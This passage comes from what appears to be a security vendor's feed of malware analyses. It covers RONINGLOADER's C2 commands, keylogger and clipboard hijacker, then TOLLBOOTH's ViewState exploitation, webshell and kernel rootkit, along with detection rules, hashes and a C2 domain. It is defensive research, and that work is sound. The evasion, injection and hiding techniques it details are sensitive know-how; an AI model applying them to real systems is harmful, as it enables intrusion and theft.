<td align="left">Clear Windows Event logs (Application, Security, System)</td>
</tr>
<tr>
<td align="left"><code>6</code></td>
<td align="left">Set additional custom tags when client beacons</td>
</tr>
<tr>
<td align="left"><code>7</code></td>
<td align="left">Download and execute file via supplied URL</td>
</tr>
<tr>
<td align="left"><code>9</code></td>
<td align="left"><code>ShellExecute</code> (visible window)</td>
</tr>
<tr>
<td align="left"><code>10</code></td>
<td align="left"><code>ShellExecute</code> (hidden window)</td>
</tr>
<tr>
<td align="left"><code>112</code></td>
<td align="left">Get clipboard data</td>
</tr>
<tr>
<td align="left"><code>113</code></td>
<td align="left">Set clipboard data</td>
</tr>
<tr>
<td align="left"><code>125</code></td>
<td align="left"><code>ShellExecute</code> <code>cmd.exe</code> with command parameters (hidden window)</td>
</tr>
<tr>
<td align="left"><code>126</code></td>
<td align="left">Execute payload by dropping to disk or reflectively load and execute <code>PluginMe</code> export</td>
</tr>
<tr>
<td align="left"><code>128</code></td>
<td align="left">First option - open a new session with a supplied C2 domain, port, and beacon interval. Second option - set registry key <code>CopyC</code> to update C2 domain and port permanently. Stored encrypted via <code>Base64Encode(XOR(C2_domain_and_port, 0x5))</code>.</td>
</tr>
<tr>
<td align="left"><code>241</code></td>
<td align="left">Check if Telegram is installed and/or running</td>
</tr>
<tr>
<td align="left"><code>243</code></td>
<td align="left">Configure Clipboard Hijacker</td>
</tr>
<tr>
<td align="left"><code>101</code>, <code>127</code>, <code>236</code>, <code>[...]</code></td>
<td align="left">Custom shellcode injection into <code>svchost.exe</code> using WTS session token impersonation, falling back to <code>CREATE_SUSPENDED</code> process injection via <code>CreateRemoteThread</code></td>
</tr>
</tbody>
</table>
<blockquote>
<p>Analyst note: There are multiple command IDs that point to the same command. We used an ellipsis to identify when this was observed.</p>
</blockquote>
<h4>System Logger</h4>
<p>In addition to the C2 commands, the implant implements a keystroke, clipboard, and active-window logger. Captured data is written to <code>%ProgramData%\microsoft.dotnet.common.log</code> and can be enabled or disabled via a registry key at <code>HKEY_CURRENT_USER\offlinekey\open</code> (<code>1</code> to enable, <code>0</code> to disable). The log file implements automatic rotation, deleting itself when it exceeds 50 MB to avoid detection through excessive disk usage.</p>
<p>The code snippet below demonstrates the initialization routine that implements log rotation and configures a DirectInput8 interface to acquire the keyboard device for event capture, followed by the keyboard event retrieval logic.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/roningloader/image3.png" alt="Log rotation and keylogger initialization" title="Log rotation and keylogger initialization" /></p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/roningloader/image38.png" alt="Keyboard event retrieval" title="Keyboard event retrieval" /></p>
<p>The malware then enters a monitoring loop to capture three categories of information.</p>
<ul>
<li>First, it monitors the clipboard using <code>OpenClipboard</code> and <code>GetClipboardData</code>, logging any changes to text content with the prefix <code>[剪切板:]</code>.</li>
<li>Second, it tracks window focus changes via <code>GetForegroundWindow</code>, logging the active window title and timestamp with the prefixes <code>[标题:]</code> and <code>[时间:]</code>, respectively, whenever the user switches applications.</li>
<li>Third, it retrieves buffered keyboard events from the <code>DirectInput8</code> device (up to 60 events per poll) and translates them into readable text through a character mapping table, prepending the results with a prefix <code>[内容:]</code>.</li>
</ul>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/roningloader/image36.png" alt="Example captured content in microsoft.dotnet.common.log" title="Example captured content in microsoft.dotnet.common.log" /></p>
<h4>Clipboard Hijacker</h4>
<p>The malware also implements a clipboard hijacker that is remotely configured through C2 command ID 243. It monitors clipboard changes and performs search-and-replace operations on captured text, substituting attacker-defined strings with replacement values. Configuration parameters are stored in the registry under <code>HKEY_CURRENT_USER\offlinekey</code> with keys <code>clipboard</code> (enable/disable feature), <code>charac</code> (search string), <code>characLen</code> (search length), and <code>newcharac</code> (replacement string).</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/roningloader/image16.png" alt="Clipboard hijacker setup through C2 command" title="Clipboard hijacker setup through C2 command" /></p>
<p>It registers a window class named <code>ClipboardListener_Class_Toggle</code> and creates a hidden window titled <code>ClipboardMonitor</code> to receive clipboard change notifications. The window procedure handles <code>WM_CLIPBOARDUPDATE</code> (<code>0x31D</code>) messages by verifying clipboard sequence numbers with <code>GetClipboardSequenceNumber</code> to detect genuine changes, then invoking the core manipulation routine, which swaps the clipboard content via <code>EmptyClipboard</code> and <code>SetClipboardData</code>.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/roningloader/image30.png" alt="ClipboardMonitor setup, responsible for the actual clipboard swap" title="ClipboardMonitor setup, responsible for the actual clipboard swap" /></p>
<h2>Malware and MITRE ATT&amp;CK</h2>
<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.</p>
<h3>Tactics</h3>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0003/">Persistence</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0004/">Privilege Escalation</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005/">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0006/">Credential Access</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0007/">Discovery</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0009/">Collection</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0011/">Command and Control</a></li>
</ul>
<h3>Techniques</h3>
<p>Techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1059/003/">Command and Scripting Interpreter: Windows Command Shell</a></li>
<li><a href="https://attack.mitre.org/techniques/T1569/002/">System Services: Service Execution</a></li>
<li><a href="https://attack.mitre.org/techniques/T1543/003/">Create or Modify System Process: Windows Service</a></li>
<li><a href="https://attack.mitre.org/techniques/T1548/002/">Abuse Elevation Control Mechanism: Bypass User Account Control</a></li>
<li><a href="https://attack.mitre.org/techniques/T1134/">Access Token Manipulation</a></li>
<li><a href="https://attack.mitre.org/techniques/T1562/001/">Impair Defenses: Disable or Modify Tools</a></li>
<li><a href="https://attack.mitre.org/techniques/T1562/004/">Impair Defenses: Disable or Modify System Firewall</a></li>
<li><a href="https://attack.mitre.org/techniques/T1070/001/">Indicator Removal: Clear Windows Event Logs</a></li>
<li><a href="https://attack.mitre.org/techniques/T1574/002/">Hijack Execution Flow: DLL Side-Loading</a></li>
<li><a href="https://attack.mitre.org/techniques/T1055/">Process Injection</a></li>
<li><a href="https://attack.mitre.org/techniques/T1036/005/">Masquerading: Match Legitimate Name or Location</a></li>
<li><a href="https://attack.mitre.org/techniques/T1112/">Modify Registry</a></li>
<li><a href="https://attack.mitre.org/techniques/T1553/006/">Subvert Trust Controls: Code Signing Policy Modification</a></li>
<li><a href="https://attack.mitre.org/techniques/T1056/001/">Input Capture: Keylogging</a></li>
<li><a href="https://attack.mitre.org/techniques/T1115/">Clipboard Data</a></li>
<li><a href="https://attack.mitre.org/techniques/T1057/">Process Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1082/">System Information Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1033/">System Owner/User Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1518/001/">Software Discovery: Security Software Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1095/">Non-Application Layer Protocol</a></li>
<li><a href="https://attack.mitre.org/techniques/T1573/001/">Encrypted Channel: Symmetric Cryptography</a></li>
</ul>
<h2>Mitigations</h2>
<h3>Detection</h3>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_potential_evasion_via_clipup_execution.toml">Potential Evasion via ClipUp Execution</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_suspicious_remote_memory_allocation.toml">Suspicious Remote Memory Allocation</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_potential_suspended_process_code_injection.toml">Potential Suspended Process Code Injection</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_remote_memory_write_to_trusted_target_process.toml">Remote Memory Write to Trusted Target Process</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_remote_process_memory_write_by_low_reputation_module.toml">Remote Process Memory Write by Low Reputation Module</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_process_memory_write_to_a_non_child_process.toml">Process Memory Write to a Non Child Process</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_unbacked_shellcode_from_unsigned_module.toml">Unbacked Shellcode from Unsigned Module</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/privilege_escalation_uac_bypass_attempt_via_wow64_logger_dll_side_loading.toml">UAC Bypass Attempt via WOW64 Logger DLL Side-Loading</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/command_and_control_network_connect_api_from_unbacked_memory.toml">Network Connect API from Unbacked Memory</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_rundll32_or_regsvr32_loaded_a_dll_from_unbacked_memory.toml">Rundll32 or Regsvr32 Loaded a DLL from Unbacked Memory</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_network_module_loaded_from_suspicious_unbacked_memory.toml">Network Module Loaded from Suspicious Unbacked Memory</a></li>
</ul>
<h3>YARA</h3>
<p>Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify RONINGLOADER and the final implant:</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_RoningLoader.yar">Windows.Trojan.RoningLoader</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_DragonBreath.yar">Windows.Trojan.DragonBreath</a></li>
</ul>
<h2>Observations</h2>
<p>The following observables were discussed in this research.</p>
<table>
<thead>
<tr>
<th align="left">Observable</th>
<th align="left">Type</th>
<th align="left">Name</th>
<th align="left">Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left"><code>da2c58308e860e57df4c46465fd1cfc68d41e8699b4871e9a9be3c434283d50b</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>klklznuah.msi</code></td>
<td align="left">Initial MSI installer</td>
</tr>
<tr>
<td align="left"><code>82794015e2b40cc6e02d3c1d50241465c0cf2c2e4f0a7a2a8f880edaee203724</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>Snieoatwtregoable.exe</code></td>
<td align="left">Malicious installer unpacked from initial installer</td>
</tr>
<tr>
<td align="left"><code>c65170be2bf4f0bd71b9044592c063eaa82f3d43fcbd8a81e30a959bcaad8ae5</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>Snieoatwtregoable.dll</code></td>
<td align="left">Stage 1 - loader for stage 2</td>
</tr>
<tr>
<td align="left"><code>2515b546125d20013237aeadec5873e6438ada611347035358059a77a32c54f5</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>ollama.sys</code></td>
<td align="left">Stage 2 - driver for process termination</td>
</tr>
<tr>
<td align="left"><code>1613a913d0384cbb958e9a8d6b00fffaf77c27d348ebc7886d6c563a6f22f2b7</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>tp.png</code></td>
<td align="left">Stage 2 - encrypted core payload</td>
</tr>
<tr>
<td align="left"><code>395f835731d25803a791db984062dd5cfdcade6f95cc5d0f68d359af32f6258d</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>1.bat</code></td>
<td align="left">Stage 2 - UAC bypass script</td>
</tr>
<tr>
<td align="left"><code>1c1528b546aa29be6614707cbe408cb4b46e8ed05bf3fe6b388b9f22a4ee37e2</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>fhq.bat</code></td>
<td align="left">Stage 2 - script to block networking for AV processes</td>
</tr>
<tr>
<td align="left"><code>4d5beb8efd4ade583c8ff730609f142550e8ed14c251bae1097c35a756ed39e6</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>1.dll</code></td>
<td align="left">Stage 2 - AV processes termination</td>
</tr>
<tr>
<td align="left"><code>96f401b80d3319f8285fa2bb7f0d66ca9055d349c044b78c27e339bcfb07cdf0</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>{31351756-3F24-4963-8380-4E7602335AAE}.cip</code></td>
<td align="left">Stage 2 - WDAC policy</td>
</tr>
<tr>
<td align="left"><code>33b494eaaa6d7ed75eec74f8c8c866b6c42f59ca72b8517b3d4752c3313e617c</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>goldendays.dll</code></td>
<td align="left">Stage 3 - entry point</td>
</tr>
<tr>
<td align="left"><code>fc63f5dfc93f2358f4cba18cbdf99578fff5dac4cdd2de193a21f6041a0e01bc</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>trustinstaller.bin</code></td>
<td align="left">Stage 3 - loader for <code>Enpug.bin</code></td>
</tr>
<tr>
<td align="left"><code>fd4dd9904549c6655465331921a28330ad2b9ff1c99eb993edf2252001f1d107</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>Enpug.bin</code></td>
<td align="left">Stage 3 - loader for final payload</td>
</tr>
<tr>
<td align="left"><code>3dd470e85fe77cd847ca59d1d08ec8ccebe9bd73fd2cf074c29d87ca2fd24e33</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>6uf9i.exe</code></td>
<td align="left">Stage 4 - final payload</td>
</tr>
<tr>
<td align="left"><code>qaqkongtiao[.]com</code></td>
<td align="left">domain-name</td>
<td align="left"></td>
<td align="left">Stage 4 - final payload C2</td>
</tr>
</tbody>
</table>
<h2>References</h2>
<p>The following were referenced throughout the above research:</p>
<ul>
<li><a href="https://nsis.sourceforge.io/Main_Page">https://nsis.sourceforge.io/Main_Page</a></li>
<li><a href="https://learn.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service">https://learn.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service</a></li>
<li><a href="https://github.com/Jemmy1228/HookSigntool">https://github.com/Jemmy1228/HookSigntool</a></li>
<li><a href="https://www.safebreach.com/blog/process-injection-using-windows-thread-pools/">https://www.safebreach.com/blog/process-injection-using-windows-thread-pools/</a></li>
<li><a href="https://hijacklibs.net/entries/microsoft/built-in/wow64log.html">https://hijacklibs.net/entries/microsoft/built-in/wow64log.html</a></li>
<li><a href="https://en.wikipedia.org/wiki/Fowler%E2%80%93Noll%E2%80%93Vo_hash_function">https://en.wikipedia.org/wiki/Fowler%E2%80%93Noll%E2%80%93Vo_hash_function</a></li>
<li><a href="https://www.zerosalarium.com/2025/08/countering-edrs-with-backing-of-ppl-protection.html">https://www.zerosalarium.com/2025/08/countering-edrs-with-backing-of-ppl-protection.html</a></li>
<li><a href="https://github.com/TwoSevenOneT/EDR-Freeze/blob/ceffd5ea7b813b356c77d469561dbb5ee45aeb24/PPLHelp.cpp#L43">https://github.com/TwoSevenOneT/EDR-Freeze/blob/ceffd5ea7b813b356c77d469561dbb5ee45aeb24/PPLHelp.cpp#L43</a></li>
<li><a href="https://news.sophos.com/en-us/2023/05/03/doubled-dll-sideloading-dragon-breath/">https://news.sophos.com/en-us/2023/05/03/doubled-dll-sideloading-dragon-breath/</a></li>
<li><a href="https://ti.qianxin.com/blog/articles/operation-dragon-breath-%28apt-q-27%29-dimensionality-reduction-blow-to-the-gambling-industry/">https://ti.qianxin.com/blog/articles/operation-dragon-breath-%28apt-q-27%29-dimensionality-reduction-blow-to-the-gambling-industry/</a></li>
<li><a href="https://github.com/sin5678/gh0st">https://github.com/sin5678/gh0st</a></li>
</ul>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/jp/security-labs/assets/images/roningloader/roningloader.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[TOLLBOOTH: What's yours, IIS mine]]></title>
            <link>https://www.elastic.co/jp/security-labs/tollbooth</link>
            <guid>tollbooth</guid>
            <pubDate>Wed, 22 Oct 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[REF3927 abuses publicly disclosed ASP.NET machine keys to compromise IIS servers and deploy TOLLBOOTH SEO cloaking modules globally.]]></description>
            <content:encoded><![CDATA[<h2>Introduction</h2>
<p>In September 2025, <a href="https://www.cyber.tamus.edu/">Texas A&amp;M University System (TAMUS) Cybersecurity</a>, a managed detection and response provider in collaboration with Elastic Security Labs, discovered post-exploitation activity by a Chinese-speaking threat actor who installed a malicious IIS module, which we are calling TOLLBOOTH. During this time, we observed a Godzilla-forked webshell <a href="https://github.com/ekkoo-z/Z-Godzilla_ekp">framework</a>, the use of the Remote Monitoring and Management (RMM) tool GotoHTTP, along with a malicious driver used to conceal their activity. The threat actor exploited a misconfigured IIS web server that used ASP.NET machine keys found in public resources, such as Microsoft’s documentation or StackOverflow support pages.</p>
<p>A similar chain of events was first <a href="https://www.microsoft.com/en-us/security/blog/2025/02/06/code-injection-attacks-using-publicly-disclosed-asp-net-machine-keys/">reported</a> by Microsoft in February, earlier this year. Our team believes this is the continuation of the same threat activity that AhnLab also <a href="https://asec.ahnlab.com/en/87804/">detailed</a> in April, based on similar malware and behaviors. During this event, we were able to leverage our partnership with Texas A&amp;M System Cybersecurity to collect insights around the activity. Additionally, through collaboration with <a href="https://www.validin.com/">Validin</a>, leveraging their global scanning infrastructure, we’ve determined that organizations worldwide have been impacted by this campaign. The following report will detail the events and tooling used in this activity cluster, known as REF3927. Our hope is to raise more awareness of this activity among defenders and organizations, as it is actively being abused at a global scale.</p>
<h3>Key takeaways</h3>
<ul>
<li>Threat actors are abusing misconfigured IIS servers using publicly exposed machine keys</li>
<li>Post-compromise behaviors include using a malicious driver, remote monitoring tooling, credential dumping, webshell deployment, and IIS malware</li>
<li>Threat actors adapted the open source “Hidden” rootkit project to hide their presence</li>
<li>The main objective appears to be to install an IIS backdoor, called TOLLBOOTH, that includes SEO cloaking and webshell capabilities</li>
<li>This campaign included large-scale exploitation across geographies and industry verticals</li>
</ul>
<h2>Campaign Overview</h2>
<h3>Attack vector</h3>
<p>Last month, Elastic Security Labs and Texas A&amp;M System Cybersecurity investigated an intrusion involving a misconfigured Windows IIS server. This was directly related to a server configured with ASP.NET machine keys that were previously published on the Internet. Machine keys used in ASP.NET applications refer to cryptographic keys used to encrypt and validate data. These keys are composed of two parts, <code>ValidationKey</code> and <code>DecryptionKey</code>, which are used to secure ASP.NET features such as <code>ViewState</code> and authentication cookies.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image16.png" alt="REF3927 attack pattern &amp; TOLLBOOTH SEO cloaking workflow" title="REF3927 attack pattern &amp; TOLLBOOTH SEO cloaking workflow" /></p>
<p><code>ViewState</code> is a mechanism used by <a href="ASP.NET">ASP.NET</a> web applications to preserve the state of a page and its controls across HTTP requests. Since HTTP is a stateless protocol, <code>ViewState</code> allows data to be collected when the page is submitted and rendered again. This data is stored in a hidden field (<code>__VIEWSTATE</code>) on the page that is serialized and encoded in Base64. This <code>ViewState</code> field is susceptible to <a href="https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html">deserialization attacks</a>, allowing an attacker to forge payloads using the application's machine keys. We have reason to believe this is part of an opportunistic campaign targeting Windows web servers using publicly exposed machine keys.</p>
<p>Below is an example of this type of deserialization attack, demonstrated via a POST request in a virtual environment using an open source .NET deserialization payload <a href="https://github.com/pwntester/ysoserial.net">generator</a>. The <code>__VIEWSTATE</code> field contains a URL-encoded and Base64-encoded payload that will perform a <code>whoami</code> and write a file to a directory. With a successful exploitation request, the server will respond with an <code>HTTP/1.1 500 Internal Server Error</code>.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image14.png" alt="Packet capture showing an example of a successful deserialization attack" title="Packet capture showing an example of a successful deserialization attack" /></p>
<h3>Post-compromise activity</h3>
<p>Upon initial access through ViewState injection, REF3927 was observed deploying webshells, including a Godzilla shell framework, to facilitate persistent access. They then enumerated privileges and attempted (unsuccessfully) to create their own user accounts. When account creation attempts failed, the actor then uploaded and executed the GotoHTTP Remote Monitoring and Management (RMM) tool. The threat actor created an Administrator account and attempted to dump credentials using Mimikatz, but this was prevented by Elastic Defend.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image6.png" alt="Elastic Defend alerting showing hands-on post-compromise activity" title="Elastic Defend alerting showing hands-on post-compromise activity" /></p>
<p>With attempts to further expand the scope of the intrusion blocked, the threat actor deployed their traffic hijacking IIS Module, TOLLBOOTH, as a means to monetize their access. The actor also attempted to deploy a modified version of the open-source Hidden rootkit to obfuscate their malware. In the observed intrusion, Elastic Defend prevented both TOLLBOOTH and the rootkit from being executed.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image13.png" alt="Actor attempts to deploy Mimikatz, HIDDENDRIVER, and TOLLBOOTH" title="Actor attempts to deploy Mimikatz, HIDDENDRIVER, and TOLLBOOTH" /></p>
<h2>Godzilla EKP analysis</h2>
<p>One of the main tools used by this group is a Godzilla-forked framework called <code>Z-Godzilla_ekp</code> written by <a href="https://github.com/ekkoo-z">ekkoo-z</a>. This tool piggybacks off the previous Godzilla <a href="https://github.com/BeichenDream/Godzilla">project</a> by adding new features such as an AMSI bypass plugin and masquerading its network traffic to appear more legitimate. This toolkit allows operators to generate ASP.NET, Java, C#, and PHP payloads, connect to targets, and provides different encryption options to hide network traffic. This framework uses a plugin system driven by a GUI with many features, including:</p>
<ul>
<li>Discovery/enumeration capabilities</li>
<li>Privilege escalation techniques</li>
<li>Command execution/file execution</li>
<li>Shellcode loader, meterpreter, in-memory PE execution</li>
<li>File management, zipping utility</li>
<li>Cred stealing plugin (<code>lemon</code>) - Retrieves FileZilla, Navicat, WinSCP, and Xmanager credentials</li>
<li>Browser password scraping</li>
<li>Port scanning, HTTP proxy configuration, note-taking</li>
</ul>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image10.png" alt="Command execution plugin from Z-Godzilla_ekp" title="Command execution plugin from Z-Godzilla_ekp" /></p>
<p>Below is a network traffic example showing the operator traffic to the webshell (<code>error.aspx</code>) using <code>Z-Godzilla_ekp</code>. The webshell will take the Base64-encoded AES-encrypted data from the HTTP POST request, then execute the .NET assembly in-memory. These requests are disguised by embedding the encrypted data in HTTP POST parameters in order to blend in as normal network traffic.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image3.png" alt="Example of POST request using Z-Godzilla_ekp" title="Example of POST request using Z-Godzilla_ekp" /></p>
<h2>Rootkit analysis</h2>
<p>The attacker hid their presence on the infected machine by deploying a kernel rootkit. This rootkit works in conjunction with a userland application named HijackDriverManager, whose interface strings are written in Chinese, to interact with the driver. For this analysis, we examined both the malicious rootkit and the code from the original “Hidden” open-source project from which it was derived. Internally, we are calling the rootkit <code>HIDDENDRIVER</code> and the userland application <code>HIDDENCLI</code>.</p>
<p>This malicious software is a modified version of the open source rootkit <a href="https://github.com/JKornev/hidden">Hidden</a>, which has been available on GitHub for years. The malware author made minor modifications before compilation. For example, the rootkit uses Direct Kernel Object Manipulation (DKOM) to hide its presence and maintain persistence on the compromised system. The compiled driver still has “hidden” within the compilation path string, indicating that they used the “Hidden” rootkit project.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image1.png" alt="Rookit’s string showing the compilation path" title="Rookit’s string showing the compilation path" /></p>
<p>Upon initial loading into the kernel, the driver prioritizes a series of critical initialization steps. It first invokes seven initialization functions:</p>
<ul>
<li><code>InitializeConfigs</code></li>
<li><code>InitializeKernelAnalyzer</code></li>
<li><code>InitializePsMonitor</code></li>
<li><code>InitializeFSMiniFilter</code></li>
<li><code>InitializeRegistryFilter</code></li>
<li><code>InitializeDevice</code></li>
<li><code>InitializeStealthMode</code></li>
</ul>
<p>To prepare its internal components before populating its driver object and associated fields, such as major functions.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image7.png" alt="Malicious rootkit initialization function" title="Malicious rootkit initialization function" /></p>
<p>The following sections will elaborate on each of these seven critical initialization functions, detailing their purpose.</p>
<h3>InitializeConfigs</h3>
<p>The rootkit's initial action is to run the <code>InitializeConfigs</code> function. This function's sole purpose is to read the rootkit's configuration from the driver's service key in the Windows registry, which is populated by the userland application. These values are extracted and put in global configuration variables that will be later used by the rootkit.</p>
<p>The following table summarizes the configuration parameters that the rootkit extracts from the registry:</p>
<table>
<thead>
<tr>
<th>Registry name</th>
<th>Description</th>
<th>Type</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>Kbj_WinkbjFsDirs</code></td>
<td>A list of directory paths to be hidden</td>
<td>string</td>
</tr>
<tr>
<td><code>Kbj_WinkbjFsFiles</code></td>
<td>A list of file paths to be hidden</td>
<td>string</td>
</tr>
<tr>
<td><code>Kbj_WinkbjRegKeys</code></td>
<td>A list of registry keys to be hidden</td>
<td>string</td>
</tr>
<tr>
<td><code>Kbj_WinkbjRegValues</code></td>
<td>A list of registry values to be hidden</td>
<td>string</td>
</tr>
<tr>
<td><code>Kbj_FangxingImages</code></td>
<td>A list of process images to whitelist</td>
<td>string</td>
</tr>
<tr>
<td><code>Kbj_BaohuImages</code></td>
<td>A list of process images to protect</td>
<td>string</td>
</tr>
<tr>
<td><code>Kbj_WinkbjImages</code></td>
<td>A list of process images to be hidden</td>
<td>string</td>
</tr>
<tr>
<td><code>Kbj_Zhuangtai</code></td>
<td>A global kill switch that is set from userland</td>
<td>bool</td>
</tr>
<tr>
<td><code>Kbj_YinshenMode</code></td>
<td>This flag signals that the rootkit must conceal its artifacts.</td>
<td>bool</td>
</tr>
</tbody>
</table>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image9.png" alt="Rootkit retrieves values from its configuration stored in the registry" title="Rootkit retrieves values from its configuration stored in the registry" /></p>
<h3>InitializeKernelAnalyzer</h3>
<p>Its purpose is to dynamically scan the kernel memory to find the addresses of the <code>PspCidTable</code> and <code>ActiveProcessLinks</code> that are needed.</p>
<p>The <a href="http://uninformed.org/index.cgi?v=3&amp;a=7&amp;p=6"><code>PspCidTable</code></a> is the kernel's structure that serves as a table for process and thread IDs, while <a href="https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/manipulating-activeprocesslinks-to-unlink-processes-in-userland"><code>ActiveProcessLinks</code></a> under the <code>_EPROCESS</code> structure serves as a doubly-linked list connecting all currently running processes. It allows the system to track and traverse all active processes. By removing entries from this list, it is possible to hide processes from enumeration tools like <a href="https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer">Process Explorer</a>.</p>
<h4>LookForPspCidTable</h4>
<p>It searches for the <code>PspCidTable</code> address by disassembling the function <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntifs/nf-ntifs-pslookupprocessbyprocessid"><code>PsLookupProcessByProcessId</code></a>with the library <a href="https://github.com/zyantific/zydis">Zydis</a> and parsing it.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image15.png" alt="Original hidden code: PspCidTable lookup" title="Original hidden code: PspCidTable lookup" /></p>
<h4>LookForActiveProcessLinks</h4>
<p>This function determines the offset of the <code>ActiveProcessLinks</code> field within the <code>_EPROCESS</code> structure. It uses hardcoded offset values specific to different Windows versions. It has a fast scanning process that relies on these hardcoded values to find the <code>ActiveProcessLinks</code> field, which will be validated by another function. In case it fails to find it with the hardcoded values, it takes a brute-force approach by starting from a hardcoded relative offset to the maximum possible offset.</p>
<h3>InitializePsMonitor</h3>
<p><code>InitializePsMonitor</code> sets up the rootkit's process monitoring and manipulation engine. This is the heart of its ability to hide processes.</p>
<p>It first initializes three <a href="https://medium.com/@ys.yogendra22/avl-tree-self-balancing-binary-search-tree-20188ff58b05">AVL tree structures</a> to hold information (rules) for excluding, protecting, and hiding processes. It uses <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nf-ntddk-rtlinitializegenerictableavl"><code>RtlInitializeGenericTableAvl</code></a> for high-speed lookups and populates them with data from the configuration. It then sets up different kernel callbacks to monitor the system using the set of rules.</p>
<h4>Registering object manager callback with (ObRegisterCallbacks)</h4>
<p>This hook registers the <code>ProcessPreCallback</code> and <code>ThreadPreCallback</code> functions. The <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/windows-kernel-mode-object-manager">kernel's Object Manager</a> executes this code before it completes any request to create or duplicate a handle to a process or thread.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image30.png" alt="Rootkit registering process and thread precallbacks" title="Rootkit registering process and thread precallbacks" /></p>
<p>When a process tries to get a handle on another process, the callback function <code>ProcessPreCallback</code> is called. It will first check if the destination process is a protected process (in the list). If it is the case, instead of not granting access, it will simply downgrade its rights over the protected process with the access set to <code>SYNCHRONIZE | PROCESS_QUERY_LIMITED_INFORMATION</code>.</p>
<p>This will ensure that processes cannot interact with/inspect, or kill the protected process.</p>
<p>The same mechanism applies to threads.</p>
<h4>Process Creation Callback(PsSetCreateProcessNotifyRoutineEx)</h4>
